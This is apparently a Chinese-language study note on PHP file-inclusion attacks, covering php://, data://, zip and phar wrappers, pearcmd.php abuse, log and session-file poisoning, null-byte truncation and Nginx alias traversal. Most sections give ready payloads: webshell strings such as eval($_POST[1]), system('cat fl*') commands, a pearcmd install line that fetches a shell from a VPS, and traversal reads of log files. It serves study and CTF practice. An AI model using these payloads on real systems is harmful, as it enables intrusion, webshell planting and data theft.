文件包含

PHP文件包含函数

  • include()
    • 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时会给出一个警告,继续向下执行
  • include_once()
    • 功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次
  • require()
    • require()与 include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行
  • require_once()
    • 功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次

此外,还能造成文件包含的函数还有: highlight_fileshow_sourcefile_get_contentsfopenfilereadfilefile_put_contents

文件包含成因

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作

本地包含与远程包含

本地包含

1
allow_url_fopen = On/Off

示例

1
?filename = ../../../1.txt

远程包含

1
allow_url_include = On/Off

示例

1
filename = http://192.168.59.1:8080/ws.php

伪协议

1
2
3
4
5
6
7
file://     --访问本地文件系统
http:// --访问http(s)网址
ftp:// --访问FTP(s) URLs
php:// --访问各个输入/输出流
zlib:// --压缩流
data:// --数据
phar:// --PHP归档

php://

php://filter

不受allow_url_fopen以及allow_url_include的影响

1
2
?file=php://filter/read=convert.base64-encode/resource=flag.php   # 得到base64编码格式的php文件。如果不加read读取链,则会将其中的内容当作PHP代码执行,则无法读取到其中的文件内容,所以要在read读取链中将其编码
?file=php://filter/read=string.rot13/resource=flag.php

在看PHP://filter底层代码分析得时候,看到了一种形式

1
php://filter/resource=a/convert.base64-decode/…/…/a.txt

目前还只是对它的原理懂一点点。。只能后面遇到了在进一步了解了

在此贴出出现了上面形式得博客链接

php://filter 的浅略底层分析

[PHP底层]关于php://filter的分析


php://input

其只受allow_url_include参数的影响
当enctype=”multipart/form-data”时候,php://input无效

1
2
3
test.php?file=php://input

POST: <?php info();?> # 将POST输入流当作PHP代码来执行

file://

1
2
test.php?file=file://C:/aa.txt
test.php?file=file:///C://Users/Mini/Desktop/flag.txt #常用于读取本地文件

data://

和php://类似,都是用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

需要allow_url_include以及allow_url_fopen都开启

1
2
3
4
?file=data://text/plain,<?php system("ping 127.0.0.1")?>        # text/plain的意思是将文件设置为纯文本的形式,浏览器在获取到这种文件时并不会对其进行处理。text/plain后面的值会被当作php代码执行
?file=data://text/plain,<?=system('cat fl*');?>
?file=data://text/plain,<script>alert(document.cookie)</script>
?file=data://text/plain,base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4= #如果对特殊字符进行过滤,可以将代码进行base64编码后再输入

zip:// 与 phar://协议

不受allow_url_fopen以及allow_url_include参数的影响

倘若有一种情况限制文件后缀为php的文件,并且上传的文件只能是jpg格式

比较旧的版本可以使用00截断、路径长度截断等。但是若没有截断漏洞时

可以尝试使用zip伪协议,将木马放在压缩包中,再将压缩包后缀修改为上传白名单,然后使用zip协议进行包含

1
2
3
4
5
6
?file=zip://C:\phpStudt\PHPTutorial\WWW\cc.jpg%23cc
# zip://绝对路径\需要解压缩的文件%23子文件名

?file=phar://cc.jpg/cc.php
# 同zip协议,但是phar协议为相对路径,zip协议为绝对路径
# phar://压缩包名/内部文件名,如写一个一句话木马cc.php,然后用zip协议压缩为cc.zip,再将后缀改为cc.jpg

http:// 访问http或https的网址

allow_url_fopen与allow_url_include需要同时开启

此伪协议就是远程文件包含漏洞。可通过其他主机getshell

1
?file=http://localhost/1.php

pearcmd.php 的利用

原理

pecl 是 PHP 中用于管理扩展而使用的命令行工具,而 pear 是 pecl 依赖的类库。在 7.3 及以前,pecl/pear 是默认安装的;在 7.4 及以后,需要在编译 PHP 的时候指定 --with-pear 才会安装

在 Docker 任意版本镜像中,pcel/pear 都会被默认安装,安装的路径在 /usr/local/lib/php

1
pear config-create <directory> <filename>

这个命令使用 config-create 模式,表明要创建一个配置文件

Docker 环境下的 php.ini 会默认开启 register_argc_argc 配置,该配置的作用大概是将用户的输入赋予 $argc$argv$_SERVER['argv'] 这几个变量。如果 PHP 以 Server 的形式运行,HTTP 数据包中的 query-string 会被作为 $_SERVER['argv'] 的值,而 pear 可以通过 readPHPArgv 函数获得我们传入的 $_SERVER['argv']

RFC3875 中规定,如果 query-string 中不包含没有编码的 =,且请求是 GET 或 HEAD,则 query-string 需要被作为命令行参数。
但 PHP 没有严格按照 RFC 来处理,即使我们传入的 query-string 包含等号,也仍会被赋值给 $_SERVER['argv']

开启这个配置后,我们的 get 请求参数会被读取进 $_SERVER['argv'] 中,这个值是通过传进来内容中的 + 来进行分隔的

利用 payload

1
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);phpinfo()?>+/var/www/html/a.php

由于包含了 pearcmd.php,那么接收到的参数会传入 pear 工具,等价于执行以下命令:

1
pear config-create /&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);phpinfo()?> /var/www/html/a.php

这条命令会把含有一句话木马的字符串写入到 /var/www/html/a.php 文件中

注意:请求里的尖括号会被 url 编码,需要使用 burpsuit 抓包,修改回原来的符号

此时再去包含生成的 /var/www/html/a.php 文件,即可执行 phpinfo ;或利用蚁剑连接

1
/index.php?file=a.php

此外,还有其它的利用方式

1
/index.php?+install+--installroot+&r=/usr/local/lib/php/pearcmd.php&+http://[vps-ip]:[port]/test1.php

该 payload 会通过 install 远程下载 shell,在有回显的情况下,服务器会回显下载的目录

注意: docker环境搭建的 PHP 可能路径不一样(可能在 /usr/share/php/pearcmd.php),可以通过本地搭建 PHP 环境寻找路径

日志包含

如果 php 存在本地包含漏洞,但无法上传文件,也可以考虑包含日志文件获取 webshell,该方法需要开启服务器日志记录功能

访问日志的位置和文件名在不同的系统上会有所差异

  • Apache 一般为 /var/log/apache/access.log
  • Nginx 一般为 /var/log/nginx/access.log/var/log/nginx/error.log
  • IIS 一般为 /var/log/apache2/access.log

Apache 运行后一般会生成两个日志文件,一个是访问日志,一个是错误日志。访问日志记录了客户端的每次请求及服务器响应的相关信息

当访问一个不存在的资源时,日志同样会记录,例如访问 http://127.0.0.1/<?php phpinfo();?> 。Apache会记录请求 <?php phpinfo();?>

因此可以将 payload 写入到 access.log 中,然后去包含该日志: ?file=../../../../var/log/nginx/access.log

需要注意,写入 payload 需要利用 burpsuit 抓包去写,如果直接在地址栏中输入,一句话木马会被编码,无法包含

此外,也可以将 payload 写入 headers,如往 User-Agent 写入 <?php eval($_GET[2]);?> ,然后便可以使用 Webshell连接工具进行连接,或者直接进行命令执行 ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();

Docker 环境下的日志包含

但如果目标在 Docker 环境中,会有以下特点:

  • 容器只会运行Apache,所以没有第三方软件日志
  • Web日志重定向到了 /dev/stdout、/dev/stderr

此时包含这些 Web 日志会出现 include(/dev/pts/0): failed to open stream: Permission denied 的错误,因为PHP没有权限包含设备文件

所以,这种情况下利用日志包含来 getshell 的方法就无法进行

Others

限制后缀

有一些开发者会限制文件的后缀,如下

1
2
3
4
5
<?php
$file = $_GET['file'] . '.php';
echo $file;
include($file);
?>

在下面条件时,可以使用%00截断

  • PHP版本<5.3(不包括5.3)
  • PHP magic_quotes_gpc = off;
  • PHP对所接收的参数,如上述代码中的$_GET[‘file’]未使用addslashes函数

那么我们使用00截断,就可以访问其他文件

1
?file=flag.txt%00

如果magic_quotes_gpc = On 或者 使用addslashes函数,那么情况便会变为下面

1
2
3
4
?file=hello.txt%00

# 结果为
hello.txt\0.php

限制包含文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

如果限制了包含的文件名和后缀,flag 在 flag.php 中,则可以使用下面的包含语句绕过限制

1
2
3
php://filter/read=convert.base64-encode/resource=meowers/../flag
# or
php://filter/read=convert.base64-encode/index/resource=flag

file_get_contents 函数——例题

  • 该函数是用于把文件的内容读入到一个字符串中
1
2
3
4
5
6
7
8
9
10
<?php
$data = $_GET['data'];
$a = file_get_contents($data);
echo "data".$a;
if($a==="xxx")
{echo "return is true";}
else
{echo "return is false";}

?>

file_get_contents("php://input") 能够获取到原始请求的数据流,在提交后用 burp 抓包,post 提交 xxx 后成功

除此之外,还有一些 php 伪协议也可以被 file_get_contents 函数执行,如:

  • php://stdout, php://stdin, php://stderr
  • data://text/plain,xxx

file_put_contents 函数

1
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
  • 该函数的作用在将一个字符串写入到一个文件中。如果文件不存在,它会创建文件;如果文件存在,它会覆盖文件的内容

同理,该函数也可以执行php伪协议,如构造如下payload

1
?file=php://filter/write=string.rot13/resource=shell.php

并在post中写入一句话,即可成功执行

1
<?php phpinfo();eval($_GET['cmd']);?>

绕过 #

1
eval("#".$_GET['cmd']);

构造换行符进行绕过

1
?cmd=%0a system('cat /fl*');

目录穿越

Nginx错误配置

1
2
3
Location /static{               # location /Purl 为普通匹配,Purl和用户请求url的开头相同就匹配成功。如请求是www.mysite.com/static/img/1.jpg
Alias /home/myapp/static/; # alias指令是在其定义的目录下查找文件
}

如果配置文件包含上述内容,很可能是运维人员或开发人员想让用户访问static目录(一般是静态资源目录)

如果用户请求的web路径是/static…/,拼接到alias上就变成了/home/myapp/static/…/,此时便会产生目录穿越漏洞,并且穿越到myapp目录

1
http://192.168.139.128:8081/files../

Nginx配置文件中Location详解

Linux Nginx的Location详解

session 文件包含

在 php.ini 配置文件中的 ession.upload_progress 配置选项用于追踪文件上传的进度。当用户通过表单上传文件时,启用这个选项可以在服务器端记录上传的进度,它包括以下几个相关配置选项:

  • session.upload_progress.enabled = on : 启用或禁用上传进度跟踪。开启该功能后,当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
  • session.upload_progress.prefix = "upload_progress_" : 上传进度信息 session 的键前缀
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" : 文件上传进度字段的名称(通常在 HTML 表单的 name 属性中使用)
  • session.upload_progress.cleanup = on : 是否当文件上传完成,php是否自动清理上传进度信息 session。这将导致 session 文件内容被立即清空,从而我们无法利用。因此需要利用 条件竞争 , 在 session 文件被清空前进行文件包含利用

session.upload_progress.prefixsession.upload_progress.name 的进一步解释

假如有如下上传表单:

1
2
3
4
5
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="file123"/>
<input type="file" name="file"/>
<input type="submit" value="Upload"/>
</form>

在这个例子中,PHP_SESSION_UPLOAD_PROGRESS 字段的值是 file123session.upload_progress.prefix 的配置值为 upload_progress_ ,那么在上传进度信息 session 中的键名就是 upload_progress_file123

在 PHP 中,可以由下面的方法得到 session 的键名并输出上传进度的信息:

1
2
3
4
5
6
session_start();
$key = ini_get("session.upload_progress.prefix") . "file123";
if (!empty($_SESSION[$key])) {
$progress = $_SESSION[$key];
echo "Uploaded " . $progress['bytes_processed'] . " of " . $progress['content_length'] . " bytes.";
}

session 创建方式

  1. php session_start()
1
2
3
4
// 开始新的或恢复现有的会话
session_start();
// 设置会话变量
$_SESSION['username'] = 'john_doe';

当我们要创建 session 时往往会在 php 代码里写 session_start(),但如果不写的话,也是可以创建的

  1. php_ini 设置 session.auto_start = On

当开启该选项时,php 在接受请求时自动初始化 session,不需要执行 session_start()

但默认情况下,该选项关闭

  1. php_ini 设置 session.use_strict_mode = 0

该配置选项默认值为 0,这样用户可以自定义 session ID

比如在 cookie 中设置 PHPSESSID=MySession,便会在服务器 /tmp 目录或者 /var/lib/php/sessions/ 下创建一个文件: sess_MySession 。即便没有设置自动初始化 session,php 也会产生 session,并生成一个键值,这个键值由 ini.get("session.upload_progress.prefix") + session.upload_progress.name 值组成,最后被一起写入 sess_ 文件里

条件竞争与 phpinfo

对任意一个 PHP 文件发送一个上传的数据包时,不管这个 PHP 服务后端是否有处理 $_FILES 的逻辑,PHP 都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是 php 开头,后面跟 6 个随机字符;在整个 PHP 文件执行完毕后,这些上传的临时文件就会被清理掉

我们可以包含这个临时文件,最后完成 getshell 操作。但这里面的问题在于我们不知道临时文件的文件名

所以这个利用的条件就是,需要有一个地方能获取到文件名,例如 phpinfo。phpinfo 页面中会输出这次请求的所有信息,包括 $_FILES 变量的值,其中包含完整文件名

然后利用条件竞争,用两个以上的线程来利用,其中一个发送上传包给 phpinfo 页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用

exp:exp.py

利用 /proc/self/environ

在 Linux 系统中,/proc/self/environ 存储了当前进程的环境变量,可以尝试读取这些敏感数据

参考

  1. Docker PHP 裸文件本地包含综述